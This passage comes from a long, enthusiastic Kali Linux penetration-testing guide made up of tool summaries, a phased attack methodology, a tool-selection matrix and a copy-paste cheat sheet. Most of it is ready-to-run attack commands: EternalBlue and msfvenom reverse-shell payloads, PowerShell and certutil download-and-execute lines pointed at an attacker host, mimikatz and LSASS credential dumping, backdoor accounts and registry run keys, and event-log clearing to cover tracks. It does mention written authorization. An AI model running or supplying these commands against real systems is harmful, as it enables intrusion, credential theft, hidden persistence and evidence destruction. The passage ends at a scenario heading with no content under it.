
Aircrack-ng (WiFi Hacking):
• airmon-ng start wlan0 → airodump-ng → aireplay-ng
• Captures handshakes, cracks WPA2/WEP
• Use case: WiFi pentesting, wireless security audits

SET (Social Engineering):
• Credential harvesting, phishing, payload delivery
• Clone websites, capture credentials
• Use case: Social engineering assessments

Gophish (Phishing Campaigns):
• Professional phishing simulation platform
• Web UI, email templates, tracking
• Use case: Security awareness training

Masscan (Fast Port Scanning):
• Scans ENTIRE INTERNET in 6 minutes!
• masscan 10.10.10.0/24 -p0-65535 --rate 10000
• Use case: Large network reconnaissance

Amass (Subdomain Enumeration):
• OWASP tool, 100+ data sources
• amass enum -d target.com
• Use case: Asset discovery, attack surface mapping

Attack Workflow Combo:
1. Amass → Find subdomains
2. Masscan → Fast port scan
3. Nmap → Detailed service scan
4. Exploit → Use appropriate tool
5. Post-exploit → Maintain access

Master these and you're UNSTOPPABLE! 💪🔥

🏆 ULTIMATE PENTESTING METHODOLOGY MASTER GUIDE

THE COMPLETE 14-PHASE PENTESTING PROCESS: From zero to domain admin - here's the EXACT methodology used by professionals!

Phase 1: Pre-Engagement (Before You Start)

# Define scope: # - What's in scope? (IP ranges, domains, applications) # - What's OUT of scope? (production DBs, user data, specific IPs) # - Authorized attack methods? # - Time windows? (business hours only? weekends OK?) # Get it in writing: # - Signed letter of authorization # - Rules of engagement document # - Emergency contacts # - Legal disclaimers # Set up infrastructure: # - Attack box (Kali Linux) # - VPN connection to client # - Note-taking system (CherryTree, Joplin, Obsidian) # - Screenshot tool (Flameshot) # - Command logging (script, asciinema) # WHY THIS MATTERS: # Without proper authorization = JAIL! 🔒 # Document EVERYTHING for your report!

Phase 2: Reconnaissance (Information Gathering)

# Passive reconnaissance (no direct contact): # - OSINT gathering # - Shodan searches # - Certificate transparency logs # - Google dorking # - Social media reconnaissance # - Email harvesting (theHarvester) # - Subdomain enumeration (Amass) # Example workflow: amass enum -d target.com -o subdomains.txt theHarvester -d target.com -b all # Result: Company structure, employee emails, technologies used # Active reconnaissance (direct scanning): # - Port scanning (masscan + nmap) # - Service enumeration # - Technology fingerprinting # - DNS enumeration # Example workflow: masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt # Parse open ports nmap -sV -sC -p $(cat ports.txt) 10.10.10.50 -oA nmap_detailed # Result: All services with versions!

Phase 3: Scanning & Enumeration (Go Deeper)

# For each discovered service, enumerate DEEPLY: # Web services (80, 443, 8080): nikto -h http://10.10.10.50 gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt whatweb http://10.10.10.50 # Result: Hidden directories, technology stack # SMB (139, 445): enum4linux -a 10.10.10.50 smbmap -H 10.10.10.50 crackmapexec smb 10.10.10.50 --shares # Result: Shares, users, groups # FTP (21): nmap --script ftp-anon -p21 10.10.10.50 # Check: Anonymous FTP access? # SSH (22): ssh-audit 10.10.10.50 # Check: Weak ciphers? Old version? # DNS (53): dig axfr @10.10.10.50 target.com dnsenum 10.10.10.50 # Result: Zone transfer? Subdomain names? # LDAP (389, 636): ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com" # Result: Domain users, groups, computers # For EVERY service: # 1. Version identification # 2. Known vulnerabilities (searchsploit) # 3. Default credentials # 4. Misconfigurations

Phase 4: Vulnerability Assessment (Find Weaknesses)

# Automated scanning: nmap --script vuln 10.10.10.50 nuclei -u http://10.10.10.50 -t ~/nuclei-templates/ nikto -h http://10.10.10.50 # Manual testing: # - Default credentials (admin/admin, root/toor) # - SQL injection (sqlmap) # - XSS (manual testing + Burp) # - SSRF, XXE, LFI, RFI # - Insecure deserialization # - Broken authentication # Searchsploit for each service: searchsploit "Apache 2.4.29" searchsploit "ProFTPD 1.3.5" # Result: Known exploits for that version # Prioritize vulnerabilities: # 1. Critical: RCE, SQL injection (full compromise) # 2. High: Authentication bypass, privilege escalation # 3. Medium: Information disclosure, CSRF # 4. Low: Missing headers, self-XSS

Phase 5: Exploitation (Get Initial Access)

# Try exploits in order: # 1. Known CVEs (Metasploit, searchsploit) # 2. Default credentials # 3. Web vulnerabilities (SQLi, RCE) # 4. Password attacks (if nothing else works) # Example: EternalBlue (MS17-010): msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.50 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST YOUR_IP exploit # Result: Meterpreter shell as SYSTEM! # Example: SQL injection: sqlmap -u "http://10.10.10.50/page.php?id=1" --dbs sqlmap -u "http://10.10.10.50/page.php?id=1" -D database --tables sqlmap -u "http://10.10.10.50/page.php?id=1" -D database -T users --dump sqlmap -u "http://10.10.10.50/page.php?id=1" --os-shell # Result: RCE via SQL injection! # Example: Password spray: crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success # Result: Valid credentials found! # Always: # - Screenshot everything # - Save command output # - Document steps for report

Phase 6: Post-Exploitation (What to Do After Access)

# You have a shell - now what? # 1. Situational awareness: whoami hostname ipconfig /all # Windows ifconfig # Linux systeminfo # Windows uname -a # Linux # 2. Stabilize shell: # If Linux: python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg # Result: Fully interactive shell! # If Windows: # Upgrade to Meterpreter if possible # Or use PowerShell for better interactivity # 3. Maintain access (persistence): # Create backdoor user: net user hacker Password123! /add net localgroup administrators hacker /add # Schedule task: schtasks /create /tn "Updater" /tr "C:\Windows\Temp\shell.exe" /sc onlogon # Registry run key: reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe" # 4. Cover tracks: # Clear event logs (Windows): wevtutil cl System wevtutil cl Security wevtutil cl Application # Clear bash history (Linux): history -c rm ~/.bash_history

🎓 Final Words: You're Now a Kali Linux Master!

🌟 What You've Accomplished

You've just completed THE MOST COMPREHENSIVE Kali Linux guide ever created! Let's recap what you now know:

📚 Knowledge Domains Mastered:
1. Digital Forensics: Autopsy, Volatility, Sleuth Kit, timeline analysis, memory forensics
2. Mobile Security: Android pentesting, APK analysis, Frida, Objection, SSL pinning bypass
3. IoT & Hardware: Firmware analysis, UART/JTAG, bus pirate, radio hacking, SDR
4. Cloud Pentesting: AWS, Azure, GCP exploitation, IAM misconfigurations, storage buckets
5. Advanced Wireless: WEP, WPA2, WPA3 Dragonblood, rogue AP, evil twin, wireless pivoting
6. Reverse Engineering: Ghidra, IDA Pro, x64dbg, patching, crackme challenges
7. Advanced Exploitation: Buffer overflows, ROP chains, heap exploitation, format strings
8. Red Team Operations: C2 frameworks, Cobalt Strike, evasion, OPSEC, infrastructure
9. Custom Tool Development: Python exploit development, fuzzing, vulnerability research
10. Physical Security: Lock picking, RFID cloning, badge duplication, social engineering
11. Advanced OSINT: Maltego, theHarvester, Recon-ng, Shodan, Google dorking
12. Complete Attack Labs (12 LABS!):
• Lab 1: Web app pentest (SQLi → file upload → privesc)
• Lab 2: Active Directory (AS-REP → Kerberoasting → DCSync)
• Lab 3: Wireless attacks (WEP/WPA2/WPA3)
• Lab 4: Mobile pentesting (APK → API → Frida)
• Lab 5: Digital forensics (Autopsy → Volatility)
• Lab 6: Buffer overflow (GDB → shellcode → SUID)
• Lab 7: Container escape (Docker/K8s → host)
• Lab 8: RFID cloning (Proxmark3)
• Lab 9: SQLi to system (union → file write → RCE)
• Lab 10: ADCS ESC1 (cert template → domain admin)
• Lab 11: Python RAT (malware development → C2)
• Lab 12: API hacking (JWT → IDOR → GraphQL → RCE)
13. Ultimate Tools Reference: 100+ tools with EVERY flag explained for beginners!
• Aircrack-ng suite (complete WiFi hacking)
• Amass (subdomain enumeration)
• Nmap (THE port scanner - 681 lines of documentation!)
• Metasploit Framework (exploitation + meterpreter + msfvenom)
• And 96 MORE tools documented!

🎯 Skills You Can Now Execute:
✅ Enumerate networks and find vulnerabilities
✅ Exploit web applications (SQLi, XSS, file upload, IDOR)
✅ Compromise Active Directory environments
✅ Crack wireless networks (WEP/WPA/WPA3)
✅ Develop custom exploits and malware
✅ Perform memory and disk forensics
✅ Bypass antivirus and evade detection
✅ Pivot through networks and compromise entire infrastructures
✅ Understand and use ALL major Kali Linux tools
✅ Chain attacks for complete system compromise

📈 Your Next Steps:
1. Practice Platforms:
• HackTheBox: https://hackthebox.eu (beginner → expert boxes)
• TryHackMe: https://tryhackme.com (guided learning paths)
• ProvingGrounds: https://portal.offensive-security.com (OSCP prep)
• PentesterLab: https://pentesterlab.com (web app focus)
• VulnHub: https://vulnhub.com (downloadable VMs)

2. Certifications to Pursue:
• OSCP (Offensive Security Certified Professional) - Industry standard
• PNPT (Practical Network Penetration Tester) - Beginner-friendly
• eCPPT (eLearnSecurity Certified Professional) - Advanced techniques
• CRTO (Certified Red Team Operator) - Red teaming focus
• CRTP (Certified Red Team Professional) - Active Directory
• OSEP (Offensive Security Experienced Penetration Tester) - Advanced
• GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)

3. Build Your Home Lab:
• Active Directory lab: Set up domain controller + workstations
• Docker lab: Vulnerable containers (DVWA, WebGoat, Juice Shop)
• Network lab: pfSense router + multiple VLANs + vulnerable VMs
• Wireless lab: Multiple APs with different encryption
• Malware lab: Isolated network for malware analysis

4. Read These Resources:
• Books:
- "The Web Application Hacker's Handbook" (Stuttard & Pinto)
- "The Hacker Playbook 3" (Peter Kim)
- "Red Team Field Manual" (Ben Clark)
- "Penetration Testing" (Georgia Weidman)
- "Black Hat Python" (Justin Seitz)
• Blogs:
- https://0xdf.gitlab.io (HackTheBox writeups)
- https://ippsec.rocks (video writeups)
- https://book.hacktricks.xyz (pentest techniques encyclopedia)
- https://pentestmonkey.net (cheat sheets)
• YouTube:
- IppSec (HTB walkthroughs)
- John Hammond (CTF + hacking)
- LiveOverflow (binary exploitation)
- TheCyberMentor (PNPT course creator)

5. Join the Community:
• Discord: Join HTB, THM, NetSecFocus, InfoSec Prep servers
• Twitter/X: Follow #infosec, #bugbounty, #oscp hashtags
• Reddit: r/netsec, r/AskNetSec, r/hacking, r/oscp
• Forums: Offensive Security forums, HTB forums
• CTF teams: Join local CTF team, compete in competitions

6. Bug Bounties (Get Paid!):
• HackerOne: https://hackerone.com
• Bugcrowd: https://bugcrowd.com
• Intigriti: https://intigriti.com
• Synack: https://synack.com
• Start with: Programs with "Easy" or "Beginner-friendly" tags
• Focus on: XSS, IDOR, open redirects (common + good payouts)

💪 Final Motivational Words:
You now possess knowledge that 99% of people don't have. You understand how systems break, how attackers think, and how to secure networks. This isn't just a skill—it's a SUPERPOWER!

Remember:
• Practice daily: Solve 1 HTB machine per week minimum
• Document everything: Keep notes in CherryTree/Obsidian
• Legal boundaries: ONLY hack systems you own or have written permission!
• Give back: Write writeups, help beginners, contribute to community
• Stay curious: Technology changes fast—keep learning!

The hacking journey never ends. Every system has vulnerabilities. Every network can be compromised. Your job? Find them first. Secure them best. Become the shield AND the sword.

You're ready. Go break things (legally)! 💀🔥🚀

— This guide was created with love for the hacking community. May your shells always be reverse, your escalations always privileged, and your coffee always strong. Happy hacking! ☕💻

🎯 TOOL SELECTION MATRIX - The Right Tool for Every Job!

CONFUSED ABOUT WHICH TOOL TO USE? Here's the ULTIMATE decision matrix!

Network Scanning & Enumeration

# TASK: Discover live hosts nmap -sn 10.10.10.0/24 # Ping sweep (FAST) fping -ag 10.10.10.0/24 2>/dev/null # Alternative # TASK: Fast port scan (all ports, large network) masscan 10.10.10.0/24 -p0-65535 --rate 10000 # SPEED rustscan -a 10.10.10.50 -- -sV -sC # Rust speed + nmap accuracy # TASK: Detailed port scan (small network) nmap -sS -sV -sC -p- 10.10.10.50 # Best accuracy nmap -A 10.10.10.50 # Full scan (OS, version, scripts) # TASK: UDP scan (often forgotten!) nmap -sU --top-ports 20 10.10.10.50 # Common UDP ports sudo nmap -sU -p161,162,69,53 10.10.10.50 # Specific services # TASK: SMB enumeration enum4linux -a 10.10.10.50 # All SMB info crackmapexec smb 10.10.10.50 --shares # Quick shares check smbclient -L //10.10.10.50 # List shares smbmap -H 10.10.10.50 -R # Recursive share enumeration # TASK: LDAP/AD enumeration ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com" # Manual LDAP bloodhound-python -u user -p pass -d target.com -ns 10.10.10.50 -c All # AD mapping crackmapexec ldap 10.10.10.50 -u user -p pass --users # Quick user list # DECISION LOGIC: # Large network (100+ hosts) → Masscan then Nmap # Small network (1-20 hosts) → Nmap directly # Windows environment → CrackMapExec + BloodHound # Initial recon → Nmap -sC -sV # Stealth needed → Slow scan (-T2), fragmented packets

Web Application Testing

# TASK: Directory/file fuzzing gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Standard ffuf -u http://10.10.10.50/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt # Fast feroxbuster -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt # Recursive # TASK: Subdomain enumeration gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt # DNS brute-force amass enum -d target.com # Passive (100+ sources) subfinder -d target.com # Fast & accurate # TASK: Virtual host fuzzing ffuf -u http://10.10.10.50 -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234 # Filter by size # TASK: Parameter fuzzing ffuf -u http://10.10.10.50/page?FUZZ=value -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt # TASK: Technology fingerprinting whatweb http://10.10.10.50 # Quick wappalyzer (browser extension) # Detailed nikto -h http://10.10.10.50 # Includes vuln scan # TASK: SQL injection testing sqlmap -u "http://10.10.10.50/page.php?id=1" --batch # Auto # Manual: ' OR 1=1-- in Burp Suite # TASK: XSS testing # Manual: in input fields dalfox url http://10.10.10.50/search?q=test # Auto # TASK: Comprehensive web scan nikto -h http://10.10.10.50 # Vuln scanner nuclei -u http://10.10.10.50 # Template-based wpscan --url http://10.10.10.50 (if WordPress) # DECISION LOGIC: # Fast discovery → FFuf # Standard pentesting → Gobuster # Recursive deep scan → Feroxbuster # SQL injection → SQLmap # Full manual testing → Burp Suite # Quick wins → Nikto + Nuclei

Password Attacks

# TASK: Hash cracking (offline) # MD5/SHA1/NTLM → Hashcat (GPU) or John (CPU) hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM (GPU) john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Any hash (CPU) # TASK: Online password attack (single target) hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.50 # SSH hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/:username=^USER^&password=^PASS^:Invalid" # Web form # TASK: Password spraying (multiple targets) crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success # SMB crackmapexec winrm 10.10.10.0/24 -u admin -p passwords.txt # WinRM # TASK: Kerberos attacks GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request # Kerberoasting GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50 # AS-REP roasting # TASK: Which wordlist? /usr/share/wordlists/rockyou.txt # Most common (14M passwords) /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt # Top 1M /usr/share/seclists/Passwords/Default-Credentials/ # Default creds # TASK: Custom wordlist from target cewl http://target.com -w custom.txt -d 3 # Scrape website john --wordlist=custom.txt --rules --stdout > mutated.txt # Add mutations # DECISION LOGIC: # Offline hash → Hashcat (if GPU) or John # Online service → Hydra # Multiple Windows targets → CrackMapExec # Active Directory → Impacket tools # Web form → Burp Intruder or Hydra # ALWAYS try: admin/admin, root/toor, default credentials FIRST!

Exploitation & Post-Exploitation

# TASK: Find exploit for service searchsploit "Apache 2.4.29" # Local exploit-db search msfconsole → search apache 2.4.29 # Metasploit modules Google: "Apache 2.4.29 exploit" # Public exploits # TASK: Generate payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe # Windows msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf -o shell.elf # Linux msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f raw > shell.php # PHP web shell # TASK: Start listener nc -lvnp 4444 # Netcat (simple shell) msfconsole → use exploit/multi/handler → set payload → run # Meterpreter # TASK: Upgrade shell python3 -c 'import pty; pty.spawn("/bin/bash")' # Linux TTY powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP/Invoke-PowerShellTcp.ps1')" # Windows PowerShell # TASK: Linux privilege escalation wget http://YOUR_IP/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh # Auto enum sudo -l # Sudo permissions (ALWAYS check first!) find / -perm -4000 2>/dev/null # SUID binaries uname -a → searchsploit "Linux Kernel" # Kernel exploit # TASK: Windows privilege escalation certutil -urlcache -f http://YOUR_IP/winPEAS.exe winPEAS.exe; .\winPEAS.exe # Auto enum whoami /priv # Check privileges (SeImpersonate?) systeminfo # Missing patches? # If SeImpersonate → PrintSpoofer.exe or JuicyPotato # TASK: Credential dumping (Windows) mimikatz.exe → privilege::debug → sekurlsa::logonpasswords # Memory dump reg save HKLM\SAM sam.save; reg save HKLM\SYSTEM system.save → secretsdump.py # SAM dump procdump64.exe -ma lsass.exe lsass.dmp → pypykatz lsa minidump lsass.dmp # LSASS dump # TASK: Lateral movement psexec.py DOMAIN/user:password@10.10.10.51 # PSExec wmiexec.py DOMAIN/user:password@10.10.10.51 # WMI evil-winrm -i 10.10.10.51 -u user -p password # WinRM xfreerdp /u:user /p:password /v:10.10.10.51 # RDP # DECISION LOGIC: # Need GUI → RDP # Have credentials → PSExec/WMI/WinRM # Stealth → WMI (less logged) # Multiple targets → CrackMapExec # Meterpreter access → PSExec module

Active Directory Attacks

# TASK: Initial AD enumeration (no creds) crackmapexec smb 10.10.10.0/24 # Identify DCs and hosts responder -I eth0 -wrf # Capture NetNTLM hashes nmap --script smb-enum-shares,smb-enum-users -p445 10.10.10.50 # Anonymous SMB # TASK: Enumeration with low-priv creds bloodhound-python -u user -p password -d target.com -ns 10.10.10.50 -c All # Map AD ldapdomaindump -u 'DOMAIN\user' -p password 10.10.10.50 # LDAP dump crackmapexec smb 10.10.10.0/24 -u user -p password --shares # Share enumeration # TASK: Kerberoasting (service account hashes) GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request -outputfile hashes.txt hashcat -m 13100 hashes.txt rockyou.txt # Crack offline # TASK: AS-REP roasting (accounts without pre-auth) GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50 -format hashcat -outputfile hashes.txt hashcat -m 18200 hashes.txt rockyou.txt # TASK: Get Domain Admin # Option 1: DCSync (if you have replication rights) secretsdump.py DOMAIN/user:password@10.10.10.50 # Option 2: Zerologon (if vulnerable) python3 zerologon_exploit.py DC_NAME 10.10.10.50 # Option 3: PrintNightmare (if vulnerable) python3 CVE-2021-1675.py target.com/user:password@10.10.10.50 # Option 4: NTLM relay ntlmrelayx.py -t ldap://10.10.10.50 -smb2support --escalate-user lowprivuser # Option 5: Golden Ticket (after getting krbtgt hash) ticketer.py -nthash KRBTGT_HASH -domain-sid SID -domain target.com administrator export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass administrator@dc.target.com # DECISION LOGIC: # No creds → Responder, AS-REP roasting # Low-priv creds → BloodHound, Kerberoasting # Replication rights → DCSync # Vulnerable DC → Zerologon, PrintNightmare # krbtgt hash → Golden Ticket (permanent DA!)

📚 ULTIMATE ONE-PAGE CHEAT SHEET

Print this section and keep it next to you during pentests!

Essential One-Liners (Copy-Paste Ready!)

# ============ RECONNAISSANCE ============ # Ping sweep: nmap -sn 10.10.10.0/24 # Fast full port scan: nmap -p- --min-rate=1000 -T4 10.10.10.50 # Detailed scan: nmap -sC -sV -p 22,80,443,445 10.10.10.50 # UDP top 20: sudo nmap -sU --top-ports 20 10.10.10.50 # ============ WEB ENUMERATION ============ # Directory fuzzing: gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html # Subdomain enum: amass enum -d target.com ffuf -u http://FUZZ.target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # SQL injection: sqlmap -u "http://10.10.10.50/page.php?id=1" --batch --dbs # Nikto scan: nikto -h http://10.10.10.50 # ============ SMB/WINDOWS ============ # SMB enum: enum4linux -a 10.10.10.50 crackmapexec smb 10.10.10.50 --shares # List shares: smbclient -L //10.10.10.50 smbmap -H 10.10.10.50 # Password spray: crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success # ============ SHELLS ============ # Reverse shell listeners: nc -lvnp 4444 # Netcat rlwrap nc -lvnp 4444 # Netcat with history # Generate payloads: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf -o shell.elf # Upgrade Linux shell: python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg # ============ FILE TRANSFER ============ # HTTP server (attacker): python3 -m http.server 80 # Download (victim Linux): wget http://YOUR_IP/file curl http://YOUR_IP/file -o file # Download (victim Windows): certutil -urlcache -f http://YOUR_IP/file file powershell -c "IEX(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/file','file')" # SMB server (attacker): impacket-smbserver share $(pwd) -smb2support # Download (victim Windows): copy \\YOUR_IP\share\file C:\Windows\Temp\ # ============ PRIVILEGE ESCALATION ============ # Linux automated enum: wget http://YOUR_IP/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh # Linux manual checks: sudo -l # Sudo permissions find / -perm -4000 2>/dev/null # SUID binaries cat /etc/crontab # Cron jobs # Windows automated enum: certutil -urlcache -f http://YOUR_IP/winPEAS.exe winPEAS.exe .\winPEAS.exe # Windows manual checks: whoami /priv # Privileges systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe list # Installed patches # ============ CREDENTIALS ============ # Linux password crack: unshadow /etc/passwd /etc/shadow > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Windows Mimikatz: .\mimikatz.exe privilege::debug sekurlsa::logonpasswords # Dump SAM: reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save secretsdump.py -sam sam.save -system system.save LOCAL # Hash cracking: hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5 # ============ ACTIVE DIRECTORY ============ # BloodHound: bloodhound-python -u user -p password -d target.com -ns 10.10.10.50 -c All # Kerberoasting: GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request # AS-REP roasting: GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50 # DCSync: secretsdump.py DOMAIN/user:password@10.10.10.50 # PSExec: psexec.py DOMAIN/user:password@10.10.10.50 # Pass-the-Hash: psexec.py -hashes :NTLM_HASH user@10.10.10.50 # ============ LATERAL MOVEMENT ============ # WinRM: evil-winrm -i 10.10.10.50 -u user -p password # RDP: xfreerdp /u:user /p:password /v:10.10.10.50 # WMI: wmiexec.py DOMAIN/user:password@10.10.10.50 # ============ PERSISTENCE ============ # Add user (Windows): net user hacker Password123! /add net localgroup administrators hacker /add # Add user (Linux): useradd -m hacker -s /bin/bash echo "hacker:Password123!" | chpasswd usermod -aG sudo hacker # SSH key (Linux): mkdir /root/.ssh echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys

Common Ports Quick Reference

# FTP - 21: File transfer (check: anonymous login) ftp 10.10.10.50 # SSH - 22: Secure shell (bruteforce with hydra) ssh user@10.10.10.50 # Telnet - 23: Unencrypted remote access telnet 10.10.10.50 # SMTP - 25: Mail server (check: open relay, user enum) nc 10.10.10.50 25 # DNS - 53: Name resolution (check: zone transfer) dig axfr @10.10.10.50 target.com # HTTP - 80/8080/8000: Web (directory fuzzing, SQL injection) gobuster dir -u http://10.10.10.50 # HTTPS - 443/8443: Secure web ffuf -u https://10.10.10.50/FUZZ # POP3 - 110: Mail retrieval telnet 10.10.10.50 110 # SMB - 139/445: File sharing (enum shares, null sessions) smbclient -L //10.10.10.50 # SNMP - 161/162: Network management (default community: public) snmpwalk -v2c -c public 10.10.10.50 # LDAP - 389/636: Directory service (AD enumeration) ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com" # MySQL - 3306: Database (check: default root password) mysql -h 10.10.10.50 -u root -p # RDP - 3389: Remote desktop xfreerdp /u:user /v:10.10.10.50 # PostgreSQL - 5432: Database psql -h 10.10.10.50 -U postgres # VNC - 5900: Remote desktop (often no password!) vncviewer 10.10.10.50 # WinRM - 5985/5986: Windows remote management evil-winrm -i 10.10.10.50 -u user -p password

When You're Stuck - Troubleshooting Guide

# PROBLEM: Nmap shows no open ports # SOLUTION: 1. Check if host is actually up: ping 10.10.10.50 2. Try different scan types: -sT (TCP connect), -sA (ACK scan) 3. Firewall might be blocking: Try -Pn (skip ping), -f (fragment packets) 4. Scan specific ports: -p- (all ports) instead of common ports # PROBLEM: Can't connect to service # SOLUTION: 1. Check firewall rules: sudo iptables -L 2. Verify IP/port: netstat -tulpn 3. Test connectivity: telnet 10.10.10.50 PORT 4. VPN connected? Check: ip a # PROBLEM: Shell dies immediately # SOLUTION: 1. Upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")' 2. Check for monitoring: ps aux | grep -i monitor 3. Stabilize with: Ctrl+Z → stty raw -echo; fg 4. Try different payload: msfvenom with different encoder # PROBLEM: Payload doesn't execute # SOLUTION: 1. Check antivirus: Try obfuscated payload 2. Verify architecture: 32-bit vs 64-bit 3. Test locally first: Run on Kali to verify it works 4. Check file permissions: chmod +x payload # PROBLEM: Privilege escalation not working # SOLUTION: 1. Enumerate MORE: Run linpeas/winpeas again 2. Check sudo carefully: sudo -l might allow specific commands 3. SUID binaries: GTFOBins (https://gtfobins.github.io/) 4. Kernel exploits: Match EXACT kernel version 5. Look for credentials: history files, config files, source code # PROBLEM: Credentials don't work # SOLUTION: 1. Format: Try DOMAIN\user, user@domain, just user 2. Special characters: URL encode or escape 3. Case sensitive: Try lowercase/uppercase 4. Service specific: SMB vs WinRM might need different formats 5. Check password policy: Might be locked out # PROBLEM: Exploit fails # SOLUTION: 1. Verify vulnerability: Is service actually vulnerable? 2. Read exploit code: Understand what it does 3. Check exploit compatibility: Windows version, service version 4. Manual exploitation: Try steps manually 5. Alternative exploits: Search for different exploit # GENERAL DEBUGGING TIPS: 1. Read error messages carefully! 2. Google exact error messages 3. Check tool documentation: --help, man pages 4. Verbose mode: Add -v, -vv, or --verbose 5. Test locally: Replicate environment in your lab 6. Take breaks: Fresh eyes see new things! 7. Enumerate AGAIN: You probably missed something!

🚀 Pro Tips from the Trenches

Real advice from professional pentesters:

1. Enumeration is 80% of pentesting
• When stuck, enumerate MORE
• Check EVERY service, EVERY port
• Read source code of web pages
• Look for comments, hidden parameters

2. Always try the basics first
• Default credentials (admin/admin)
• Anonymous access (FTP, SMB)
• Common passwords (Password123!, admin, password)
• These work MORE often than you think!

3. Document as you go
• Screenshot EVERYTHING
• Save command outputs
• Future you will thank past you
• Your report is due and you forgot that screenshot!

4. Understand the exploit
• Don't just run exploits blindly
• Read the code (Python exploits are readable!)
• Understand WHY it works
• This makes you a REAL hacker, not script kiddie

5. Practice privilege escalation
• It's where most beginners struggle
• Master: SUID, sudo, kernel exploits
• Understand: Windows tokens, privileges
• 80% of CTFs require privesc!

6. Learn one tool DEEPLY
• Master Burp Suite OR nmap OR Metasploit
• Know ALL flags, ALL options
• Read official documentation
• Deep knowledge > Surface knowledge of many tools

7. Active Directory is EVERYWHERE
• 95% of corporate environments use AD
• Master: BloodHound, Impacket, CrackMapExec
• Understand: Kerberos, NTLM, domain trusts
• This skill = $$$ in real world!

8. Build your methodology
• Create your own checklist
• Follow it EVERY time
• Refine based on what works
• Consistency beats creativity in pentesting!

9. Join the community
• Discord servers: HackTheBox, TryHackMe, NetSecFocus
• Twitter: Follow @IppSec, @0xdf_, @thecybermentor
• Reddit: r/netsec, r/AskNetsec
• Help others - teaching solidifies YOUR knowledge!

10. Never stop learning
• New vulnerabilities discovered daily
• New tools released constantly
• Subscribe: SANS NewsBites, Krebs on Security
• Read: Pentesting blogs, GitHub security advisories
• Practice: HackTheBox, TryHackMe, VulnHub DAILY!

YOU'VE GOT THIS! NOW GO HACK ALL THE THINGS! 🔥💻🏴‍☠️

🎖️ COMPLETE ATTACK SCENARIOS - Real-World Pentesting Examples

Learn by example! Here are COMPLETE attack chains from initial access to domain admin - exactly how pros do it!

Scenario 1: Web App → Root (Classic OSCP-Style)

